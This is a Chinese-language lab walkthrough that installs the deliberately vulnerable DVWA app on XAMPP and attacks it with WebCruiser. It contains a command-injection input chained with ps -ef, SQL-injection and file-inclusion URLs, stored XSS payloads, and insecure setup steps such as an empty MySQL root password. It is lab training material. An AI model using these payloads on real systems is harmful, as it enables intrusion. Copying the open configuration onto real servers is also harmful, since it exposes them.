【网络安全】DVWA和WebCruiser攻击演练过程详解

1、下载dvwa和xampp linux版本
http://www.dvwa.co.uk/
https://www.apachefriends.org/zh_cn/index.html
2、安装xampp
./xampp.run根据提示进行安装即可，安装后目录为/opt/lampp
./xampp start
./sampp stop
启动后客户端机器远程使用IP地址无法访问xampp服务器(http://192.168.102.4/xampp)，vi ./etc/extra/httpd-xampp.conf，注释掉下面的代码重启xampp即可
     61 #<LocationMatch "^/(?i:(?:xampp|security|licenses|phpmyadmin|webalizer|server-status|server-info))">
     62 #        Require local
     63 #   ErrorDocument 403 /error/XAMPP_FORBIDDEN.html.var
     64 #</LocationMatch>
看到主界面说明安装成功。
测试数据库连接：./bin目录下用mysql连接数据库
mysql -h localhost -u root
直接进入：执行如下语句成功即可看到数据库信息，说明xampp安装成功
show database();
3、安装dvwa直接解压到./htdocs目录即可，然后利用ip/dvwa目录访问，则提示数据库无法连接，按下面修改即可
vi htdocs/dvwa/config/config.inc.php将下面的密码信息去除改为空密码即可

     16 $_DVWA = array();
     17 $_DVWA[ ‘db_server‘ ] = ‘localhost‘;
     18 $_DVWA[ ‘db_database‘ ] = ‘dvwa‘;
     19 $_DVWA[ ‘db_user‘ ] = ‘root‘;
     20 $_DVWA[ ‘db_password‘ ] = ‘‘;
     
4、进入登录界面http://192.168.102.4/dvwa，需要输入用户名和密码admin/password,将DVWA Security设置为low
5、windows下使用WebCruiser进行主要攻击验证
WebCruiser:http://www.moonsec.com/content/uploadfile/201410/92a41413629442.zip  
a、brute force
暴力破解用户名密码为admin/password ，主要是利用post/get提交username和password数据进行暴力破解。
b、command execute
未对命令进行判断可以执行多条命令
输入：192.168.102.4；ps -ef

PING 192.168.102.4 (192.168.102.4) 56(84) bytes of data.
64 bytes from 192.168.102.4: icmp_seq=1 ttl=64 time=0.019 ms
64 bytes from 192.168.102.4: icmp_seq=2 ttl=64 time=0.024 ms
64 bytes from 192.168.102.4: icmp_seq=3 ttl=64 time=0.036 ms

--- 192.168.102.4 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2000ms
rtt min/avg/max/mdev = 0.019/0.026/0.036/0.008 ms
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 1月07 ?       00:00:36 /usr/lib/systemd/systemd --switched-root --system --deserialize 19
root         2     0  0 1月07 ?       00:00:00 [kthreadd]
root         3     2  0 1月07 ?       00:00:08 [ksoftirqd/0]
root         5     2  0 1月07 ?       00:00:00 [kworker/0:0H]
root         7     2  0 1月07 ?       00:00:08 [migration/0]
root         8     2  0 1月07 ?       00:00:00 [rcu_bh]
root         9     2  0 1月07 ?       00:11:38 [rcu_sched]
root        10     2  0 1月07 ?       00:00:44 [watchdog/0]
root        11     2  0 1月07 ?       00:00:28 [watchdog/1]
root        12     2  0 1月07 ?       00:00:06 [migration/1]
root        13     2  0 1月07 ?       00:00:08 [ksoftirqd/1]
root        15     2  0 1月07 ?       00:00:00 [kworker/1:0H]
root        16     2  0 1月07 ?       00:00:28 [watchdog/2]
root        17     2  0 1月07 ?       00:00:06 [migration/2]
root        18     2  0 1月07 ?       00:00:07 [ksoftirqd/2]
root        20     2  0 1月07 ?       00:00:00 [kworker/2:0H]
root        21     2  0 1月07 ?       00:00:27 [watchdog/3]
root        22     2  0 1月07 ?       00:00:06 [migration/3]
root        23     2  0 1月07 ?       00:00:13 [ksoftirqd/3]
root        25     2  0 1月07 ?       00:00:00 [kworker/3:0H]
root        26     2  0 1月07 ?       00:00:59 [watchdog/4]
root        27     2  0 1月07 ?       00:00:07 [migration/4]
root        28     2  0 1月07 ?       00:00:02 [ksoftirqd/4]
root        30     2  0 1月07 ?       00:00:00 [kworker/4:0H]
root        31     2  0 1月07 ?       00:02:46 [watchdog/5]
root        32     2  0 1月07 ?       00:00:08 [migration/5]
root        33     2  0 1月07 ?       00:00:02 [ksoftirqd/5]
root        35     2  0 1月07 ?       00:00:00 [kworker/5:0H]
c、Cross Site Request Forgery (CSRF)
没有对输入原密码验证直接判断两个密码是否相等后直接修改密码
d、File Inclusion
通过修改包含文件可以查看到相关文件信息
http://192.168.102.4/dvwa/vulnerabilities/fi/?page=include.php
e、SQL注入
http://192.168.102.4/dvwa/vulnerabilities/sqli/
http://192.168.102.4/dvwa/vulnerabilities/sqli/?Submit=Submit&id=99999999
http://192.168.102.4/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1588033
http://192.168.102.4/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1588033

通过右键sql injection poc进入后可以查看数据库和表及数据信息如图1和2所示

f、盲注
同上面的SQL注入，SQL盲注技术就是一些攻击者使用的新技术,其在错误信息被屏蔽的情况下使攻击者仍能获得所需的信息，耗费时间较长。
g、跨站
一种是反射跨站，一种是存储跨站
反射：XSS代码出现在URL中，作为输入提交到服务器端，服务器端解析后响应，XSS代码随响应内容一起传回给浏览器，最后浏览器解析执行XSS代码。这个过程像一次反射，故叫反射型XSS
存储：存储型XSS和反射型XSS的差别仅在于，提交的代码会存储在服务器端（数据库，内存，文件系统等），下次请求目标页面时不用再提交XSS代码

引用是来自其它网站或服务器的地址链接
http://192.168.102.4/dvwa/vulnerabilities/xss_s/^btnSign=Sign Guestbook&mtxMessage=WCRTEXTAREATESTINPUT9749323&txtName=3075018<img src=0 onerror="alert(7795171)">
输入<img src=0 onerror="alert(‘jhelloyhellohhello‘)">后存储到服务器上
还有一个Dom XSS:DOM XSS和反射型XSS、存储型XSS的差别在于DOM XSS的代码并不需要服务器参与，触发XSS靠的是浏览器端的DOM解析，完全是客户端的事情

h、文件上传
通过上传的错误信息可以查看到文件上传的目录，如果上传成功可以上传小马和大马从而攻陷整个机器
Warning: move_uploaded_file(../../hackable/uploads/wenjin_crack.pcap): failed to open stream: Permission denied in /opt/lampp/htdocs/dvwa/vulnerabilities/upload/source/low.php on line 7
Warning: move_uploaded_file(): Unable to move ‘/opt/lampp/temp/php1FMFHK‘ to ‘../../hackable/uploads/wenjin_crack.pcap‘ in /opt/lampp/htdocs/dvwa/vulnerabilities/upload/source/low.php on line 7